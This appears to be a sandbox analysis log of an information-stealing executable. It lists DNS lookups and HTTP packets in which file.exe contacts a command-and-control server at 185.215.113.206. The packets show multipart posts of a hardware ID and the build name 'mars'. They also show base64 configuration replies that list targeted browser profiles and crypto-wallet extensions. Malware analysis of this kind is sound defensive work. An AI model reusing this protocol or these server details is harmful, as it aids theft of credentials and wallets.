Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.179	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.185	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.176	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.177	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.904484034 CET	1.1.1.1	192.168.2.5	0x59cb	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:29.904500961 CET	1.1.1.1	192.168.2.5	0xee9c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:30.945127964 CET	1.1.1.1	192.168.2.5	0xa76c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:30.975378990 CET	1.1.1.1	192.168.2.5	0x64b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:30.975378990 CET	1.1.1.1	192.168.2.5	0x64b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:33.367857933 CET	1.1.1.1	192.168.2.5	0xe256	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:33.368036032 CET	1.1.1.1	192.168.2.5	0x27cc	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:33.469533920 CET	1.1.1.1	192.168.2.5	0x94b8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:33.469533920 CET	1.1.1.1	192.168.2.5	0x94b8	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:33.560820103 CET	1.1.1.1	192.168.2.5	0x285f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:34.821625948 CET	1.1.1.1	192.168.2.5	0xa090	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.821625948 CET	1.1.1.1	192.168.2.5	0xa090	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.821640015 CET	1.1.1.1	192.168.2.5	0x4b5b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 14:14:34.822879076 CET	1.1.1.1	192.168.2.5	0x3279	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.822879076 CET	1.1.1.1	192.168.2.5	0x3279	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.822915077 CET	1.1.1.1	192.168.2.5	0x95c2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 14:14:34.852474928 CET	1.1.1.1	192.168.2.5	0x7d5f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 14:14:34.852508068 CET	1.1.1.1	192.168.2.5	0xf5ab	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.852508068 CET	1.1.1.1	192.168.2.5	0xf5ab	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.860713005 CET	1.1.1.1	192.168.2.5	0x37a	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.860713005 CET	1.1.1.1	192.168.2.5	0x37a	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.860713005 CET	1.1.1.1	192.168.2.5	0x37a	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.860713005 CET	1.1.1.1	192.168.2.5	0x37a	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.881592035 CET	1.1.1.1	192.168.2.5	0x9b91	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:35.881664991 CET	1.1.1.1	192.168.2.5	0xad8e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:36.050443888 CET	1.1.1.1	192.168.2.5	0xe208	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:36.051151991 CET	1.1.1.1	192.168.2.5	0x2cd3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:36.190306902 CET	1.1.1.1	192.168.2.5	0x2740	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:36.191664934 CET	1.1.1.1	192.168.2.5	0xbe98	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
2024-11-25 13:14:37 UTC	162.159.61.3	192.168.2.5	0x0	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2024-11-25 13:14:37 UTC	162.159.61.3	192.168.2.5	0x0	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	true

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	1436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:14:08.133174896 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 14:14:09.575793982 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:09.578876972 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 30 31 30 46 39 38 43 36 37 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="hwid"F010F98C67B3476522507------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="build"mars------JJJJDAAECGHDGDGCGHDB--
Nov 25, 2024 14:14:10.065123081 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 32 55 77 59 57 49 34 4e 54 45 30 5a 6d 4d 34 4d 6a 68 6d 4e 7a 6b 31 4d 57 45 77 4e 6a 4e 69 4e 32 51 78 5a 57 4a 69 59 57 4d 77 4e 57 45 35 4e 6a 6b 31 4f 47 46 6c 5a 47 49 7a 4e 44 63 78 4f 54 55 33 4e 44 67 31 5a 6a 4a 69 4d 6a 63 35 59 54 49 78 4d 7a 46 69 4d 32 51 77 4d 47 45 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: N2UwYWI4NTE0ZmM4MjhmNzk1MWEwNjNiN2QxZWJiYWMwNWE5Njk1OGFlZGIzNDcxOTU3NDg1ZjJiMjc5YTIxMzFiM2QwMGEyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 25, 2024 14:14:10.067320108 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"browsers------HJDAFIEHIEGDHIDGDGHD--
Nov 25, 2024 14:14:10.633985996 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 25, 2024 14:14:10.634345055 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 25, 2024 14:14:10.635727882 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"plugins------GHJEGCAEGIIIDHIEBKEB--
Nov 25, 2024 14:14:11.100222111 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 25, 2024 14:14:11.100245953 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 25, 2024 14:14:11.100263119 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 25, 2024 14:14:11.100470066 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Nov 25, 2024 14:14:11.100485086 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Nov 25, 2024 14:14:11.100502968 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Nov 25, 2024 14:14:11.100616932 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Nov 25, 2024 14:14:11.103056908 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"fplugins------GIIEGHIDBGHIECAAECGD--
